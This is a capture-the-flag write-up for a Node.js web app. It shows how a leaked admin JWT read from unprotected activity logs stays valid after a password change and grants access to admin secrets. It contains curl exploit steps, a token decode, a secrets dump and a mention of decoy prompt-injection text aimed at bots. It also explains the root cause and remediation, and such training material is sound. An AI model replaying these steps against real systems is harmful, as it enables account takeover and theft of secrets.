TeamSync — JWT Session Persistence After Password Change
TeamSync — JWT Session Persistence After Password Change
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: activity_log_information_disclosure, api_endpoint_enumeration_via_error_messages, decoy_flag_identification, jwt_token_leakage_in_logs, missing_token_revocation, privilege_escalation_via_leaked_admin_token, session_persistence_after_password_change
Summary
Walkthrough of the CUSTOM Web TeamSync — JWT Session Persistence After Password Change. Task: Node.js project management app with JWT auth; activity logs leak admin token and tokens persist after password change. Solution: extract admin JWT from system logs accessible to any user, exploi
Description
TeamSync is a collaborative project management platform built by SyncWave Technologies. Development teams use it to manage projects, track tasks, and monitor system activity across their organization. The objective is to gain administrative access and retrieve sensitive platform secrets. The application features project dashboards, task management, activity monitoring, and an administration panel with sensitive configuration data. Credentials: user@test.com / password123.
English summary: A Node.js/Express web application with JWT-based authentication. The goal is to escalate from a regular user to admin and retrieve platform secrets from the admin panel.
Analysis
Reconnaissance
- Target is a Node.js web app behind nginx/1.25.5 with JWT-based authentication (HS256).
- Login at
POST /loginwithemail=user@test.com&password=password123returns anauth_tokencookie containing a JWT. - JWT payload:
{"user_id":2,"email":"user@test.com","iat":...,"exp":...}— no role field; role is determined server-side byuser_id. robots.txtdiscloses/api/admin/and/api/system/paths.- Every HTML page contains decoy flags (
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) in hidden HTML comments and divs with prompt injection text — all honeypots, ignored.
Endpoint Enumeration
GET /api/admin/settings— returns admin settings (requires admin). When accessed as regular user, the error response helpfully lists available admin endpoints:GET /api/admin/settings,GET /api/admin/secrets,GET /api/admin/users.GET /api/system/logs?page=1&per_page=50— activity log endpoint accessible to ANY authenticated user (no admin check).- Settings page at
/settingshas profile update and password change forms (POST /settings/profile,POST /settings/password).
Vulnerability 1: JWT Token Leaked in Activity Logs
The /api/system/logs endpoint returns system activity logs visible to all authenticated users. Log entry #8 contains the admin's full JWT token in plaintext:
json read-only • copy allowed{ "action": "login_success", "details": "Administrator login successful. Session initialized with token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJlbWFpbCI6ImFkbWluQHRlYW1zeW5jLmlvIiwiaWF0IjoxNzc4ODI3MDc3LCJleHAiOjE3ODE1MDU0Nzd9.KZJaxsy0rXcGHDORDtZKU1bcpHFpR5bsd_LFDwT_F5o", "event_type": "authentication", "user_email": "admin@teamsync.io", "timestamp": "2026-05-15T09:23:41Z" }
The admin JWT decodes to: {"user_id":1,"email":"admin@teamsync.io","iat":1778827077,"exp":1781505477} — 31-day expiry.
Vulnerability 2: JWT Session Persistence After Password Change
The activity logs also show a timeline proving the core vulnerability:
| Timestamp | Log # | Event |
|---|---|---|
| May 15 09:23 | #8 | Admin logs in, JWT issued and leaked in log |
| May 16 07:41 | #14 | Admin changes password — "scheduled rotation per security policy" |
| May 16 13:08 | #18 | Failed login attempt with old password — "invalid credentials" |
| May 16 13:09 | #19 | Successful login with new password |
| |
Despite the password change, the JWT token issued BEFORE the password change remains valid. The application uses stateless JWT tokens with no server-side session tracking or token revocation mechanism. When a user changes their password, existing JWT tokens are not invalidated — they remain valid until their natural expiry (31 days).
Solution
Step 1: Login as Regular User
bash read-only • copy allowedTARGET="https://0b3cdbce-d43e-4a12-a73c-d470675c569a.labs.hackadvisor.io" # Login and capture auth_token cookie curl -s -c cookies.txt "$TARGET/login" \ -d "email=user@test.com&password=password123"
Step 2: Access Activity Logs (No Admin Check)
bash read-only • copy allowed# Fetch system logs — accessible to any authenticated user curl -s -b cookies.txt "$TARGET/api/system/logs?page=1&per_page=50"
Log entry #8 contains the admin's full JWT token in the details field.
Step 3: Extract Admin JWT from Logs
bash read-only • copy allowed# Admin JWT leaked in log entry #8 ADMIN_TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJlbWFpbCI6ImFkbWluQHRlYW1zeW5jLmlvIiwiaWF0IjoxNzc4ODI3MDc3LCJleHAiOjE3ODE1MDU0Nzd9.KZJaxsy0rXcGHDORDtZKU1bcpHFpR5bsd_LFDwT_F5o" # Verify it decodes to admin (user_id: 1) echo "$ADMIN_TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null # {"user_id":1,"email":"admin@teamsync.io","iat":1778827077,"exp":1781505477}
Step 4: Access Admin Secrets with Leaked Token
bash read-only • copy allowed# Use the leaked admin JWT (issued before password change) to access admin secrets curl -s "$TARGET/api/admin/secrets" -H "Cookie: auth_token=$ADMIN_TOKEN"
Response:
json read-only • copy allowed{ "secrets": [ {"key": "platform_master_key", "value": "FLAG{REDACTED}"}, {"key": "jwt_signing_secret", "value": "sw-teamsync-jwt-2024-secret-key"}, {"key": "aws_access_key_id", "value": "AKIAIOSFODNN7EXAMPLE"}, {"key": "aws_secret_access_key", "value": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"}, {"key": "stripe_api_key", "value": "sk_live_51HG8e2KjhGF8dJi3M9nX0EXAMPLE"}, {"key": "sendgrid_api_key", "value": "SG.EXAMPLE_KEY_DO_NOT_USE.placeholder"} ] }
The other admin endpoints also confirmed access:
GET /api/admin/settings— platform config (version 2.4.1, jwt_expiry_days: 31, max_users: 100).GET /api/admin/users— all 5 users with roles (admin: Jordan Caldwell, plus 4 regular users).
Attack Chain Summary
Login as user@test.com
│
▼
GET /api/system/logs (no admin check — broken access control)
│
▼
Extract admin JWT from log entry #8 (token leaked in login details)
│
▼
Admin changed password on May 16 (but old JWT still valid — no revocation)
│
▼
GET /api/admin/secrets with leaked admin JWT
│
▼
FLAG{REDACTED}
Root Cause
Two compounding vulnerabilities:
-
Sensitive token logged in activity logs: The admin's JWT was included verbatim in the login success log entry, and the activity log API endpoint (
/api/system/logs) had no role-based access control — any authenticated user could read all logs. -
No token invalidation on password change: The application uses stateless JWT tokens with no server-side session store or revocation list. When the admin changed their password, the previously-issued JWT remained valid because the server only checks the JWT signature and expiry — not whether the password has changed since the token was issued.
Remediation
- Never log authentication tokens in activity logs or any persistent storage.
- Implement token revocation on password change: store a
password_changed_attimestamp in the DB and reject tokens issued before that time (iat < password_changed_at), or use a token blacklist/allowlist. - Restrict activity log access to admin users only (add role-based access control to
/api/system/logs). - Reduce JWT expiry time: 31 days is excessive for a security-sensitive platform; consider 1-4 hours with refresh token rotation.
Key Takeaways / Lessons
- Mastering activity_log_information_disclosure, api_endpoint_enumeration_via_error_messages, decoy_flag_identification, jwt_token_leakage_in_logs, missing_token_revocation, privilege_escalation_via_leaked_admin_token, session_persistence_after_password_change was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-19 • CUSTOM • TeamSync — JWT Session Persistence After Password Change • Difficulty: Medium